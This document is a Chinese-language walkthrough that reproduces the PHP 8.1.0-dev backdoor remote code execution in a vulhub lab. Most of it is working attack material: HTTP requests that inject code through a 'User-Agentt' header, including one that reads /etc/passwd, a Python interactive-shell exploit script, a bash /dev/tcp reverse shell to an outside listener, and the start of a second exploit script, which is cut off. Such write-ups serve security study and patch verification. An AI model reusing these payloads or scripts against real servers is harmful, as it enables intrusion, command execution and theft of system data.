PHP 8.1.0-dev 后门远程命令执行漏洞复现
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0x01 简介
php verion 8.1.0-dev于2021年3月28日与后门一起发布，但是后门很快被发现并删除。
0x02 漏洞概述
PHP verion 8.1.0-dev的PHP在服务器上运行，则攻击者可以通过发送User-Agentt标头执行任意代码。
0x03 影响版本
PHP 8.1.0-dev
0x04 环境搭建
使用vulhub进行搭建：
cd vulhub/php/8.1-backdoor
sudo docker-compose up -d
访问主页
http://192.168.40.140:8080/
0x05 漏洞复现
1、POC验证
GET / HTTP/1.1
Host: 192.168.40.140:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
User-Agentt: zerodiumvar_dump(2*3); //或者User-Agentt: zerodiumsystem("cat /etc/passwd");
Upgrade-Insecure-Requests: 1
图片
图片
!/usr/bin/env python3
import os
import re
import requests
host = input("Enter the full host url:\\n")
request = requests.Session()
response = request.get(host)
if str(response) == \'<Response [200]>\':
print("\\nInteractive shell is opened on", host, "\\nCan\'t access tty; job crontol turned off.")
try:
while 1:
cmd = input("$ ")
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:68.0) Gecko/20100101 Firefox/68.0",
"User-Agentt": "zerodiumsystem(\'" + cmd + "\');"
}
response = request.get(host, headers = headers, allow_redirects = False)
current_page = response.text
stdout = current_page.split(\'<!DOCTYPE html>\',1)
text = print(stdout[0])
except KeyboardInterrupt:
print("Exiting...")
exit
else:
print("\\r")
print(response)
print("Host is not available, aborting...")
exit
2、反弹shell或执行exp
GET / HTTP/1.1
Host: 192.168.40.140:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: ADMINCONSOLESESSION=LBY9g1TYdvw2RyGQCX7JTQGt7Rn6TJnDmWhyJtKwMj2nL0M6GyyY!-1150793974; JSESSIONID=0B07F68800D0F5C0D8BD254A8748E2FF
User-Agentt: zerodiumsystem("bash -c \'exec bash -i >& /dev/tcp/192.168.40.129/6666 0>&1\'");
Upgrade-Insecure-Requests: 1
EXP：
import argparse, textwrap
import requests
import sys
parser = argparse.ArgumentParser(description="PHP 8.1.0-dev WebShell RCE", formatter_class=argparse.RawTextHelpFormatter,
epilog=textwrap.dedent(\'\'\'
Exploit Usage :
./exploit.py -l http://127.0.0.1
[^] WebShell= id
OR
[^] WebShell= whoami
\'\'\'))
parser.add_argument("-l","--url", help="PHP 8.1.0-dev Target URL(Example:
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